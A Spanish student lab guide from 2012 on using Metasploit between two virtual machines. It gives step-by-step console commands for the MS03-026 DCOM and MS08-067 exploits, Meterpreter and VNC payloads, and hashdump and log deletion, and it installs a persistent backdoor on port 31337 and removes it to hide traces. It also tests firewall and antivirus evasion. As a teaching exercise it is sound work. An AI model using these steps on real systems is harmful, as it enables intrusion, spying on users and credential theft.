Download - 1M-Metasploit: Guia básica
GUIA BÁSICA METASPLOIT
2012
Javier García Cambronel SEGUNDO DE ASIR
17/01/2012
[GUIA BÁSICA METASPLOIT] 17 de enero de 2012
SEGUNDO DE ASIR Página 1
INTRODUCCION Y PUESTA EN ESCENA
RECOPILACION DE INFORMACIÓN
METASPLOIT BÁSICO.
NUESTRO PRIMER ATAQUE EXPLOIT DCOM PUERTO
135
MENCION ESPECIAL A METERPRETER
EXPLOIT MS08_067_NETAPI PUERTO 445
PAYLOAD WINDOWS/METERPRETER/REVERSE_TCP
PAYLOAD WINDOWS/METERPRETER/BIND_TCP
PAYLOAD WINDOWS/VNCINJECT/BIND_TCP
PAYLOAD WINDOWS/VNCINJECT/REVERSE_TCP CON EL ANTERIOR
[GUIA BÁSICA METASPLOIT] 17 de enero de 2012
SEGUNDO DE ASIR Página 2
INTRODUCCION Y PUESTA EN ESCENA
En este trabajo lo primero que voy a hacer es ponernos en situación, vamos a tener dos
máquinas virtuales, una será el atacante y otra la víctima.
EQUIPO ATACANTE WINDOWS XP SP3
La dirección IP de nuestro equipo atacante será la que vemos en la imagen 192.168.1.36
En el instalaremos metasploit, lo descargamos de la página principal y bajaremos la versión
correspondiente a nuestro sistema operativo
http://www.metasploit.com/download/
Una vez descargado, seguimos los pasos de la instalación por defecto se instalará en
C:/METASPLOIT, ¿para qué queremos saber esto? Lo mejor en la instalación es desactivar
nuestro antivirus y una vez terminada añadir esa carpeta a las excepciones del mismo.
[GUIA BÁSICA METASPLOIT] 17 de enero de 2012
SEGUNDO DE ASIR Página 3
EQUIPO VICTIMA WINDOWS XP SP2
La dirección IP de nuestro equipo atacante será la que vemos en la imagen 192.168.1.35
En el Equipo víctima tenemos instalado o instalaremos antes de empezar aunque no es
estrictamente necesario ni IIS ni SQL SERVER al menos con los exploit que utilizaremos en
esta práctica.
IIS COMO SERVIDOR WEB
SQLSERVER 2005
FIREWALL WINDOWS
ANTIVIRUS NOD32 actual a día de hoy 17 de enero de 2012, de hecho según muchos el mejor
antivirus que hay y según otros uno de los más potentes con karpersky, Mcafee y
BitDefender, G-DATA…
Para instalar el antivirus seguimos los siguientes pasos, nosotros instalaremos una versión
de prueba, lo primero la descargamos y elegimos la versión de nuestro sistema operativo
http://www.eset.eu/download/eset-smart-security-trial
Una vez descargada seguimos los pasos que vienen a continuación le damos a siguiente,
versión de prueba, insertamos nuestro correo y recibiremos la contraseña por email.
[GUIA BÁSICA METASPLOIT] 17 de enero de 2012
SEGUNDO DE ASIR Página 4
Aquí vemos que ya tenemos nuestra contraseña, es decir, que la hemos recibido y tan solo la
tendríamos que introducir y el antivirus queda activado con todas sus características durante
los treinta días siguientes de recibir el e-mail.
[GUIA BÁSICA METASPLOIT] 17 de enero de 2012
SEGUNDO DE ASIR Página 5
RECOPILACION DE INFORMACIÓN
Lo primero que vamos a hacer antes de empezar con los ataques va a ser ejecutar el modo
grafico para hacer un análisis de vulnerabilidades y una detección del sistema operativo,
puertos abiertos…
Escribimos la IP de el equipo victima y empezamos el analisis
Podemos ir viendo que el progreso se esta realizando correctamente.
Una vez finalizado el análisis podemos ver como ha sido detectado el nombre del equipo y el
sistema operativo.
[GUIA BÁSICA METASPLOIT] 17 de enero de 2012
SEGUNDO DE ASIR Página 6
Y como no, también todos los puertos abiertos con los correspondientes servicios que están
corriendo en ellos.
[GUIA BÁSICA METASPLOIT] 17 de enero de 2012
SEGUNDO DE ASIR Página 7
1. CONCEPTOS BASICOS.
Para empezar a hablar del metasploit, lo definiremos como una herramienta GNU escrita en
perl y con utilización de diversos lenguajes de programación como C, Python,ASM ,etc, para
el desarrollo, testeo, mejora y penetración a diversos sistemas, entre ellos Windows.
Metasploit se ejecuta bajo una consola CYGWIN y trabaja con una base de datos en la cual se
encuentran toda la lista de exploits y vulnerabilidades, lo único que tenemos que indicarle a
metasploit es que vulnerabilidad utilizaremos, que sistema atacaremos, que tipo de ataque
utilizaremos y datos diversos que utilizara para atacar al host. Se llama Metasploit
Framework porque es todo un entorno de testeo para diversas plataformas, la cual trabaja
con librerías, bases de datos, y diversos programas, shellcodes, etc. Por tal deja de ser un
simple software si no un framework.
Metasploit Puede ser descargado de:
http://www.metasploit.com/
[GUIA BÁSICA METASPLOIT] 17 de enero de 2012
SEGUNDO DE ASIR Página 8
2. MODALIDADES
Metasploit trabaja en 2 modalidades las cuales se pueden ejecutar en todas las plataformas
y para elegir una es cuestion de gustos y comodidad.
Modo Web: (msfweb.bat) Esta modalidad de metasploit es una manera muy comoda de
trabajar ya que aquí toda la interface es web y no tienes que escribir mucho, todo lo demas
consiste en seleccionar opcion por opcion y al final solo presionar un boton de “Exploit” para
comenzar con el ataque, tambien tiene su modalidad de ataque por Shell el cual lo maneja
por secciones, para entrar a este modo, lo unico que se tiene que hacer es abrir el archivo
msfweb.bat
Modo Consola: El modo de consola de metasploit aunque es un poco más engorroso trabajar
con él, suele funcionar de una manera más rápida y a veces mejor, para ejecutarlo, tienes
que ejecutar el archivo msfconsole.bat de la carpeta de metasploit. E ir trabajando por
medio de comandos en lugar de una interface:
[GUIA BÁSICA METASPLOIT] 17 de enero de 2012
SEGUNDO DE ASIR Página 9
3. COMIENZOS NUESTRO PRIMER ATAQUE
EXPLOIT DCOM PUERTO 135
Empezare a explicar cómo trabajar por medio de consola ya que por medio de la interface
web es algo muy intuitivo y personalmente me gusta mas trabajar de este modo.
Al abrir la consola del metasploit se presentara una ventana como la de arriba que esperara
a que le demos órdenes. El primero comando que utilizaremos, sera
show exploits
Nos mostrara una gran lista de exploits disponibles, de los cuales tendremos que seleccionar
alguno y dependiendo del sistema que deseemos atacar seleccionaremos el adecuado (no
voy a ocupar una vulnerabilidad FTP para un servidor shoutcast).
Una vez que hallamos encontrado un exploit adecuado, lo seleccionaremos con el comando
use [exploit]
donde [exploit] es el nombre del exploit que utilizare, supongamos voy a utilizar el exploit
DCOM
El comando seria:
use msrpc_dcom_ms03_026
Con este comando le diremos a metasploit que utilizaremos el exploit Microsoft RPC DCOM.
[GUIA BÁSICA METASPLOIT] 17 de enero de 2012
SEGUNDO DE ASIR Página 10
Ahora después de esto necesitamos seleccionar un sistema vulnerable, para ver los sistemas
afectados por metasploit utilizaremos el comando
show targets
Nos mostrara una pantalla como la siguiente con todos los sistemas operativos vulnerables,
en este caso para el DCOM, solamente hay una opción pero en otros exploits te dará
muchas.
Para seleccionar la opcion adecuada utilizaremos el comando SET, el cual su estructura es
así:
set [Variable] [Valor]
Entonces para seleccionar una opción el comando debería quedar de la siguiente manera
set TARGET 0
Aquí por ejemplo le estamos diciendo a metasploit que la variable target es igual a 0 (donde
0 es windows NT SP3…) es necesario que las variables de metasploit vaya en MAYUSCULAS
ya que si no lo haces así en algunas te dará error.
Hasta ahora con lo que hemos hecho lo único que le hemos ordenado a metasploit es que
exploit utilizaremos y que sistema operativo es el que va a atacar, ahora si se dan cuenta
falta indicarle que tipo de ataque utilizaremos, para ver los ataques soportados por este
exploit utilizaremos el comando
show payloads
Lo cual nos mostrara una lista como la siguiente:
[GUIA BÁSICA METASPLOIT] 17 de enero de 2012
SEGUNDO DE ASIR Página 11
No explicare todos los ataques que hay debido a que es un tutorial básico, explicare los mas
comunes.
win32_adduser: agregara un usuario(con permisos elevados) al sistema que nos penetremos
win32_bind_vncinject: nos mostrara una pantalla del usuario con la cual podemos manejar y
controlar su equipo remotamente (un VNC).
win32_downloadexec: Descargara un archivo de algun servidor web o ftp y lo ejecutara
(entre ellos puede estar troyanos).
win32_exec: Ejecutara un comando especificado por ti en la variable CMD.
win32_reverse: Mi favorita. Nos dara una shell inversa por si tiene firewall y no podemos
abrir puertos.
win32_reverse_vncinject:Nos dara un VNC inverso por si tiene firewall y no podemos abrir
puertos.
Bien una vez que queramos seleccionar un método de ataque utilizaremos el mismo
comando SET [Variable] [Valor] en este caso será:
set PAYLOAD win32_reverse_vncinject
Con esto le diremos a metasploit que utilizaremos el meotod win32_reverse_vncinject
(recuerda que las variables van en mayusculas).
Después de hacer metasploit necesita mas datos dependiendo del tipo de ataque, exploit o
target que utilizaras, para ver opciones te pide utilizaremos el comando
show options
[GUIA BÁSICA METASPLOIT] 17 de enero de 2012
SEGUNDO DE ASIR Página 12
yo recomiendo que solo rellenen las variables que digan “required” ya que las opcionales
son para opciones más avanzadas, aquí solo nos está pidiendo RHOST (host que atacaremos)
y RPORT (puerto por el que se conectara), nos puede pedir más LHOST y LPORT (para
conexiones inversas son el host y el puerto que estará esperando la conexión para dar darle
ordenes en este caso tu IP y un puerto disponible de tu maquina), las demás opciones las
puedes llenar intuitivamente dependiendo del exploit, ataque y etc que seleccionaste, para
ir rellenando casa variable:
set [Variable] [Valor]
Como comando:
set RHOST IPVIctima
set RPORT PuertoDeLaVictima
En este caso RPORT tiene un valor por defaul como se ve en la imagen (135) este no lo
cambien a menos que sea necesario (que la víctima tenga el servicio en otro puerto).
Una vez rellenadas todas las variables, solo queda poner el comando:
exploit
y esperar la respuesta del metasploit, dependiendo del ataque que seleccionaste. Como
vemos accedemos remotamente al equipo.
4. ACTUALIZACION
Como metasploit utiliza una base de datos donde tiene guardada toda la informacion
(targets, exploits, etc) es recomendable actualizara, esto lo pueden hacer ejecutando el
archivo
msfupdate.bat
una vez ejecutado empezara a buscar actualizaciones y si hay te preguntara si quieres
descargarlas
[GUIA BÁSICA METASPLOIT] 17 de enero de 2012
SEGUNDO DE ASIR Página 13
MENCION ESPECIAL A METERPRETER
Meterpreter es un Payload que se ejecuta después del proceso de explotación o abuso de
una vulnerabilidad en un sistema operativo, meterpreter es el diminutivo para meta-
interprete y se ejecuta completamente en memoria; evitando así tener problemas con los
Antivirus.
En este artículo se describen algunas de las características más importantes de este
shellcode como son:
1. Eliminación de archivos de Log.
2. Captura de pantalla.
3. Carga y descarga de archivos.
4. Copiar información.
5. Extracción de información de configuración: Tablas de enrutamiento, tarjetas de red,
registro de Windows, configuración de seguridad, archivos compartidos, configuración de
firewall, etc, etc.
BACKGROUND
Ejecuta la sesión actual en segundo plano para retornar a la línea de comandos de
Meterpreter, para regresar a la sesión se ejecuta el comando tradicional (sessions –i 1).
MIGRATE
Permite migrarse a otro proceso en la maquina víctima.
File Systems Commands
LS
Permite visualizar los archivos en el directorio remoto actual.
DOWNLOAD
Permite descargar un archivo de la maquina atacada, es necesario hacer uso del back-slash
doble en la ruta del mismo.
UPLOAD
Permite cargar un archivo en una ruta especifica, de la misma manera que el comando
download es necesario hacer uso del doble slash al momento de indicar la ruta.
SEARCH
Permite buscar archivos en la maquina víctima, además:
1. Permite indicar el tipo de archivo.
2. Permite indicar la ruta donde se quiere realizar la búsqueda.
Networking Commads
[GUIA BÁSICA METASPLOIT] 17 de enero de 2012
SEGUNDO DE ASIR Página 14
IPCONFIG
Permite visualizar todas la información de todas tarjetas de red existentes en la maquina
atacada
ROUTE
Permite consultar y modificar la tabla de enrutamiento.
System Commads
EXECUTE
Permite ejecutar un comando.
GETPRIVS
Permite obtener tantos privilegios de administración como sea posible.
GETUID
Permite consultar el tipo de usuario que la maquina victima esta ejecutando.
PS
Permite consultar todos los procesos que están en ejecución.
SHELL
Permite obtener un Shell, o línea de comando.
SYSINFO
Permite obtener información del sistema remoto como:
1. Nombre de la maquina.
2. Sistema Operativo.
3. Tipo de arquitectura.
4. Lenguaje del sistema operativo.
User Interface Commads
ENUMDESKTOPS
Permite consultar todas las sesiones (o escritorios).
IDLETIME
Permite consultar el tiempo en el que el usuario de la maquina victima ha estado ausente.
[GUIA BÁSICA METASPLOIT] 17 de enero de 2012
SEGUNDO DE ASIR Página 15
SCREENSHOT
Permite extraer una imagen del escritorio remoto.
UICTL
Permite controlar algunos de los componentes del sistema afectado.
Password Database Commads
HASHDUMP
Permite consultar el contenido del la base de datos SAM en sistemas Windows.
[GUIA BÁSICA METASPLOIT] 17 de enero de 2012
SEGUNDO DE ASIR Página 16
EXPLOIT MS08_067_NETAPI PUERTO 445
Bueno, Ahora vamos a utilizar el exploit ultra conocido ms08_067 el cual va a atacar el
puerto 445 lo primero que hacemos será ingresar el comando
use Windows/smb/ms08_067_netapi
PAYLOAD WINDOWS/METERPRETER/REVERSE_TCP
Ahora vamos a utilizar una ataque reverse_tcp el cual nos va a conseguir en principio una
sesión meterpreter
Vemos con show options los requerimientos necesarios para la ejecución de este exploit y si
son requeridos.
Entonces ahora lo que hacemos es seleccionar el host local que va a ser el atacante
Set lhost 192.168.1.36
Tambien la dirección ip de el equipo al que vamos a atacar
Set rhost 192.168.1.35
Y seguidamente lanzamos el exploit escribiendo exploit
[GUIA BÁSICA METASPLOIT] 17 de enero de 2012
SEGUNDO DE ASIR Página 17
COMPORTAMIENTO DEL EXPLOIT CON FIREWALL DE WINDOWS ACTIVADO
COMPORTAMIENTO DEL EXPLOIT CON FIREWALL Y ANTIVIRUS NOD32 5.0.9.5
Como podemos ver el exploit se ejecuta correctamente y creamos la sesión si ningún
problema.
ATAQUE: ENVIANDO UN MENSAJE VIA MS-DOS
Una vez creada la sesión abrimos una Shell, con el comando Shell
Escribimos el comando netstart mensajero
Y después escribimos el siguiente comando " net send xxx.xxx.x.x mensaje “ sin las comillas
donde están las equis será la dirección ip de la victima y evidentemente, donde pone
mensaje, el mensaje que estamos mandando. Como podemos ver en la imagen y hemos
indicado el firewall y el antivirus están completamente en funcionamiento.
[GUIA BÁSICA METASPLOIT] 17 de enero de 2012
SEGUNDO DE ASIR Página 18
COMPORTAMIENTO SIN NINGUN TIPO DE PROTECCION: NI ANTIVIRUS NI FIREWALL
Como era de esperar el exploit se lleva a cabo de forma correcta y se crea la sesión.
ATAQUE: REINICIANDO LA MAQUINA DE FORMA REMOTA
Ejecutamos el comando Shell para abrir una consola de forma inversa
Y escribimos el comando siguiente en el que indicamos que el equipo atacado se reinicie
enviando un mensaje y mostrándolo durante 60 segundos que es el tiempo en el que se va a
apagar el sistema
Como podemos ver se nos muestra el mensaje correspondiente que hemos indicado
[GUIA BÁSICA METASPLOIT] 17 de enero de 2012
SEGUNDO DE ASIR Página 19
PAYLOAD WINDOWS/METERPRETER/BIND_TCP
ATAQUE: PUERTA TRASERA O BACKDOOR
set payload windows/meterpreter/bind_tcp
Una vez que hemos escogido el payload, lo primero que miramos con show options es los
requisitos de dicho payload y nos cercioramos de que cumplimos todos y configuramos todo
debidamente para que funcione la dirección del host local y la del remoto como hemos
hecho en el ejemplo anterior si es que estamos en una sesión diferente o hemos empezado a
trabajar con esta la primera.
COMPORTAMIENTO DEL EXPLOIT CON FIREWALL DE WINDOWS ACTIVADO
Podemos ver que intenta crear la sesión, pero el tiempo de conexión queda excedido y la
dirección bloqueada.
COMPORTAMIENTO DEL EXPLOIT CON FIREWALL Y ANTIVIRUS NOD32 5.0.9.5
Vemos que aquí es capaz de detectar el sistema operativo y atacar dicha vulnerabilidad una
vez que ha seleccionado la TARGET correctamente, pero no es capaz de iniciar sesión, con lo
cual no podemos continuar
[GUIA BÁSICA METASPLOIT] 17 de enero de 2012
SEGUNDO DE ASIR Página 20
COMPORTAMIENTO SIN NINGUN TIPO DE PROTECCION: NI ANTIVIRUS NI FIREWALL
Sin ningún tipo de protección es capaz de llevarse a cabo el exploit correctamente y
conseguimos iniciar sesión en el sistema operativo de la victima.
Entonces ahora lo que vamos a hacer es crear una puerta trasera o (backdoor) para poder
acceder al sistema siempre que queramos.
Ejecutamos el comando run metsvc y creamos dicho servicio en el pueto 31337 como se nos
indica en la maquina. Una vez completado todo el proceso ya tendríamos la puerta trasera
funcionando para entrar en el sistema a nuestro antojo.
UNA VEZ QUE TENEMOS UNA PUERTA TRASERA EN EL SISTEMA ABIERTA NI EL FIREWALL DE
WINDOWS NI EL ANTIVIRUS Y FIREWAL DE NOD 32 5.0.95 IMPIDEN QUE INICIEMOS SESION
Siempre que quisiéramos acceder al sistema segaríamos los siguientes pasos
Ejecutamos el siguiente comando desde la consola de metaspoit use exploit/multi/handler
Introducimos el payload correspondiente set PAYLOAD Windows/metsvc_bind_tcp
[GUIA BÁSICA METASPLOIT] 17 de enero de 2012
SEGUNDO DE ASIR Página 21
Y volvemos a mirar las opciones pues para acceder al sistema ahora los requisitos han
cambiado y como podemos ver requiere de el puerto del proceso.
Entonces se lo indicamos con el comando lport y el número del proceso, en este caso seria
lport 31337
Si esto fuera una nueva sesión en la que no tuviéramos indicada la ip de nuestra victima, lo
haríamos como en la siguiente imagen.
Y ya solo nos quedaría lanzar el exploit y ver como accedemos a una sesión en nuestra
víctima.
[GUIA BÁSICA METASPLOIT] 17 de enero de 2012
SEGUNDO DE ASIR Página 22
ATAQUE: VIGILANCIA MEDIANTE CAPTURAS DE PANTALLA
Para ello ejecutaríamos el comando screenshot desde meterpreter cuando quisiéramos
saber que esta viendo en ese momento nuestra víctima, también podríamos hacer que
captura una pantalla cada cierto numero de tiempo automáticamente.
Si queremos desinstalar el metsvc en el host remoto para no dejar rastro, tan sólo tenemos
que ejecutar metsvc -r en nuestra sesión de meterpreter.
[GUIA BÁSICA METASPLOIT] 17 de enero de 2012
SEGUNDO DE ASIR Página 23
PAYLOAD WINDOWS/VNCINJECT/BIND_TCP
ATAQUE: ESCRITORIO REMOTO
Con show options miramos las opciones que nos son requeridas tanto del exploit como del
payload elegido
COMPORTAMIENTO DEL EXPLOIT CON FIREWALL DE WINDOWS ACTIVADO
Ejecutamos el payload y vemos que no nos crea la conexión porque el tiempo supera el
límite excedido.
COMPORTAMIENTO DEL EXPLOIT CON FIREWALL Y ANTIVIRUS NOD32 5.0.9.5
Aquí vemos que la sesión de Fingerprinting, se hace correctamente, pero que pese a que el
exploit se completa, la sesión no se crea.
[GUIA BÁSICA METASPLOIT] 17 de enero de 2012
SEGUNDO DE ASIR Página 24
Ahora si que se crea la sesión correctamente sin ningún tipo de problema
Y vemos como podemos acceder de forma remota mediante un VNC al escritorio.
[GUIA BÁSICA METASPLOIT] 17 de enero de 2012
SEGUNDO DE ASIR Página 25
PAYLOAD WINDOWS/VNCINJECT/REVERSE_TCP CON EL ANTERIOR
ESCRITORIO REMOTO EN REVERSE:
DIFERENCIAS (Deja crear sesión con antivirus y firewall de Nod32, antes no)
COMPORTAMIENTO DEL EXPLOIT CON FIREWALL DE WINDOWS ACTIVADO
Vemos que el limite de sesión queda excedido y no crea sesion.
COMPORTAMIENTO DEL EXPLOIT CON FIREWALL Y ANTIVIRUS NOD32 5.0.9.5
Vemos como se crea perfectamente la sesión
Y accedemos como vemos al escritorio remoto en el que vemos lo que ya sabíamos que
tanto el FIREWALL como el antivirus están en activo, y pasaríamos a controlar de forma
remota el equipo.